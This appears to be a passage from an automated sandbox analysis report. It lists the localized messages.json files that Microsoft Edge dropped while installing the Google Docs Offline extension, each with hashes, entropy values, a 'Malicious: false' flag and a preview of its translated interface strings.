Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
